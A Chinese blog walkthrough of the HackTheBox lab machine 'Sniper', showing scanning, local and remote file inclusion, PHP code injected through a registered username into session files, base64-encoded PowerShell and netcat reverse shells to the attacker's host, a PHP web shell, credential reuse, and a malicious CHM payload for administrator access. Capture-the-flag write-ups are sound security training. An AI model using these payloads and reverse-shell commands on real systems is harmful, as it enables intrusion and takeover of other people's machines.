美文网首页网络安全
【网络安全】HTB靶机渗透系列之Sniper

【网络安全】HTB靶机渗透系列之Sniper

作者: H_00c8 | 来源:发表于2022-03-21 17:01 被阅读0次

    介绍

    Sniper是一个中等难度的靶机,知识点涉及本地文件包含利用、远程文件包含利用、凭证制作、恶意chm文件利用等。

    通关思维导图

    image

    侦查

    端口探测

    首先使用 nmap 进行端口扫描

    nmap -Pn -p- -sV -sC -A 10.10.10.151 -oA nmap_Sniper
    
    image

    80端口

    访问后发现是一家名为 Sniper Co. 的公司,主要业务是快递

    image

    点击Our servers会跳转至/blog/index.php,点击User Portal会跳转至/user/login.php登陆界面

    目录扫描

    使用 gobuster 进行目录扫描

    gobuster dir -u http://10.10.10.151 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php
    
    image

    blog

    在博客中存在语言下拉框,分别是

    image
    http://10.10.10.151/blog/?lang=blog-en.php
    http://10.10.10.151/blog/?lang=blog-es.php
    http://10.10.10.151/blog/?lang=blog-fr.php
    

    三种语言界面都在同一个目录中,可以判断它是通过 php 代码include $_GET['lang']对其进行包含,如果过滤不严谨的话则可能存在文件包含漏洞

    user\

    image

    在登陆界面下面有一个注册界面,尝试注册账户

    image

    使用新注册的账户 admin/admin 登陆其中

    image

    上线[iusr]

    【→所有资源关注我,私信回复“资料”获取←】
    1、网络安全学习路线
    2、电子书籍(白帽子)
    3、安全大厂内部视频
    4、100份src文档
    5、常见安全面试题
    6、ctf大赛经典题目解析
    7、全套工具包
    8、应急响应笔记

    验证文件包含

    本地文件包含

    首先尝试读取上次目录的index.php

    image

    显示无法读取,但是使用绝对路径\windows\win.ini则能够读取成功

    image

    远程文件包含

    使用 smbserver 在本地开启 smb 服务,并在该目录下放置一个文本文件mac.txt,内容为mac is good,

    python3 smbserver.py -smb2support mac ~/hackthebox/Machines/Sniper/
    

    尝试请求远程文件地址:\10.10.14.7\mac\mac.txt

    image

    成功请求到mac.txt当中的内容,查看响应发现靶机已向本地发送请求

    image

    如果 smb 服务建立出现问题也可以使用以下方式

    vim /etc/samba/smb.conf
    
    [mac]
        path = /root/hackthebox/Machines/Sniper/
        browseable = yes
        read only = no
        create mask = 777
        guest ok = yes
        force user = nobody
        force group = nogroup
    
    image

    开启服务

    service smbd restart
    service nmbd restart
    

    本地文件包含上线

    在 Windows 中默认会话地址是\windows\temp目录,登陆账户后我们可以获取到 PHPSESSID 为8b23pbv8tj4m02qisnape584d8

    image

    这样我们就能够推断 PHP 会话文件为\windows\temp\sess_8b23pbv8tj4m02qisnape584d8

    image

    接下来尝试在注册界面中的用户名中写入 PHP 执行代码

    <?php system("whoami")?>
    

    虽然能够成功注册,但是无法成功登陆

    image

    可能在后端代码中存在一些注入,尝试混淆语句

    a<?php echo `whoami` ?>b
    

    成功登陆后请求会话文件发现命令执行成功

    image

    尝试获取站点下的user目录文件来了解registration.php的过滤规则,网站默认路径为\inetpub\wwwroot

    a<?php echo `dir \inetpub\wwwroot\user` ?>b
    
    image

    在读取registration.php时遇到了问题,.字符导致内容无法回显,使用*替代拿到该文件的源代码

    a<?php echo `powershell cat \inetpub\wwwroot\user\registration*php` ?>b
    
    image

    黑名单中包含了字符-$[(_.;&"\,因此在命令中不能包含这些特殊字符,通过 base64 编码可以帮助我们绕过这些字符限制

    echo 'cmd /c "\10.10.14.7\mac\nc64.exe -e cmd 10.10.14.7 443"' | iconv -f ascii -t utf-16le | base64 -w0
    
    image

    /enc会在执行命令时将 base64 解码,可注册为以下代码

    <?php echo `powershell /enc YwBtAGQAIAAvAGMAIAAiAFwAMQAwAC4AMQAwAC4AMQA0AC4ANwBcAG0AYQBjAAoAYwA2ADQALgBlAHgAZQAgAC0AZQAgAGMAbQBkACAAMQAwAC4AMQAwAC4AMQA0AC4ANwAgADQANAAzACIACgA=` ?>
    

    在本地监听443端口

    rlwrap nc -nvlp 443
    

    登陆成功后请求会话数据

    curl -s -G 'http://10.10.10.151/blog/' --data-urlencode 'lang=\windows\temp\sess_8b23pbv8tj4m02qisnape584d8'
    

    但是并没有返回会话,甚至都没有请求 smb 服务,于是解码 base64 并与 0xdf 大神的编码进行对比

    image

    发现我的命令并不完整,原来是\n被转义了,需要重新编码

    YwBtAGQAIAAvAGMAIAAiAFwAXAAxADAALgAxADAALgAxADQALgA3AFwAbQBhAGMAXABuAGMANgA0AC4AZQB4AGUAIAAtAGUAIABjAG0AZAAgADEAMAAuADEAMAAuADEANAAuADcAIAA0ADQAMwAiAAoA
    

    验证通过\

    image

    再次在注册界面注册账户并请求会话数据

    <?php echo `powershell /enc YwBtAGQAIAAvAGMAIAAiAFwAXAAxADAALgAxADAALgAxADQALgA3AFwAbQBhAGMAXABuAGMANgA0AC4AZQB4AGUAIAAtAGUAIABjAG0AZAAgADEAMAAuADEAMAAuADEANAAuADcAIAA0ADQAMwAiAAoA` ?>
    
    image

    成功拿到反弹shell

    远程文件包含上线

    除了通过本地文件包含,我们还可以利用远程文件包含,比如包含一个简单的PHP小马

    <?php system($_REQUEST['cmd'])?>
    

    可以请求一个包含 cmd 的参数进行验证

    curl -s -G 'http://10.10.10.151/blog/' --data-urlencode 'lang=\10.10.14.5\mac\cmd.php' --data-urlencode 'cmd=whoami' | sed -n '/</html>/,/</body>/p'
    
    image

    成功执行命令,因此我们可以通过该shell执行反弹shell命令

    curl -s -G 'http://10.10.10.151/blog/' --data-urlencode 'lang=\10.10.14.5\mac\cmd.php' --data-urlencode 'cmd=\10.10.14.5\mac\nc64.exe -e cmd 10.10.14.5 4444'
    

    在本地监听4444端口

    rlwrap nc -nvlp 4444
    
    image

    成功反弹shell

    权限提升[chris]

    信息收集

    在当前站点目录下发现数据库的认证信息

    type c:\inetpub\wwwroot\user\db.php
    
    image

    其中密码为36mEAhz/B8xQ~2VM,与此同时发现用户Chris和管理员

    dir c:\Users\
    
    image

    获取凭据

    有了账号密码就可以尝试通过 powershell 来运行他们的身份,首先查看主机名

    powershell
    PS > hostname
    
    image

    制作用户Chris的身份凭据

    PS > $user = "Sniper\Chris"
    PS > $pass = "36mEAhz/B8xQ~2VM"
    PS > $secstr = New-Object -TypeName System.Security.SecureString
    PS > $pass.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)}
    PS > $cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $user, $secstr
    PS > Invoke-Command -ScriptBlock { whoami } -Credential $cred -Computer localhost
    
    image

    可以看到运行权限为Chris身份,查看用户Chris发现Chris属于远程管理用户组

    net user chris
    
    image

    在当前用户桌面上获取第一个flag

    PS > Invoke-Command -ScriptBlock { dir c:\Users\chris\Desktop } -Credential $cred -Computer localhost
    PS > Invoke-Command -ScriptBlock { type c:\Users\chris\Desktop\user.txt } -Credential $cred -Computer localhost
    
    image

    成功拿到第一个flag

    反弹shell

    借助本地的 nc 可以完成反弹shell

    PS > Invoke-Command -ScriptBlock { \10.10.14.5\mac\nc64.exe -e cmd 10.10.14.5 5555 } -Credential $cred -Computer localhost
    

    在本地监听5555端口

    rlwrap nc -nvlp 5555
    
    image

    成功拿到反弹shell

    权限提升[administrator]

    信息收集

    在C:\Docs目录下存在几个文件

    cd C:\Docs
    dir
    
    image

    查看note.txt,其中 CEO 要求 Chris 删除文档

    type note.txt
    
    image

    在当前用户的Downloads目录下存在instructions.chm

    cd c:\Users\Chris\Downloads\
    dir c:\Users\Chris\Downloads\
    
    image

    .chm是 Windows 帮助文件,因此可能是 CEO 正在讨论的文档,将其复制到本地进行检查

    copy instructions.chm \10.10.14.5\mac\instructions.chm
    
    image

    恶意chm

    Nishang 中的 Out-CHM.ps1 可以帮助我们在.chm文件中加载 payload 运行,首先在 Windows 中导入该文件

    Import-Module .\Out-CHM.ps1
    

    调用Out-CHM传递HTML Help Workshop路径并加载 payloadc

    Out-CHM -Payload "\windows\system32\spool\drivers\color\nc64.exe -e cmd 10.10.14.5 6666" -HHCPath "C:\Program Files (x86)\HTML Help Workshop"
    

    在执行之前需要先安装HTML Help Workshop,否则会出现报错

    image

    成功生成doc.chm

    管理员上线

    将doc.chm和nc64.exe复制到靶机当中

    copy \10.10.14.5\mac\doc.chm .
    copy \10.10.14.5\mac\nc64.exe \windows\system32\spool\drivers\color\nc64.exe
    
    image

    同时开启监听

    rlwrap nc -nvlp 6666
    
    image

    成功拿到管理员权限,在管理员桌面哈桑寻找第二个flag

    dir c:\Users\administrator\Desktop
    type c:\Users\administrator\Desktop\root.txt
    
    image

    成功拿到第二个flag

    总结:

    站点中存在两个重要的目录,分别为user和blog,blog目录在语言切换中使用?lang=xx.php,这很大程度上说明可能存在文件包含漏洞;user目录则用于用户注册和登陆账号,在之后的会话利用也帮助我们拿到了sessionid,从而确认了session地址。

    文件包含漏洞验证成功后我们发现存在两种上线方式,一是本地文件包含利用,即通过包含session位置中注册用户名(PHP代码)来达到代码执行的效果;二是相对简单的远程文件包含利用,即只要在本地放置木马文件请求包含就可获取权限。

    上线靶机后在其中找到数据库配置文件,里面存在密码,利用用户名和密码通过powershell制作凭证上线chris用户。最后使用nishang脚本Out-CHM生成恶意chm文件拿到管理员用户权限。

    相关文章

      网友评论

        本文标题:【网络安全】HTB靶机渗透系列之Sniper

        本文链接:https://www.haomeiwen.com/subject/isltjrtx.html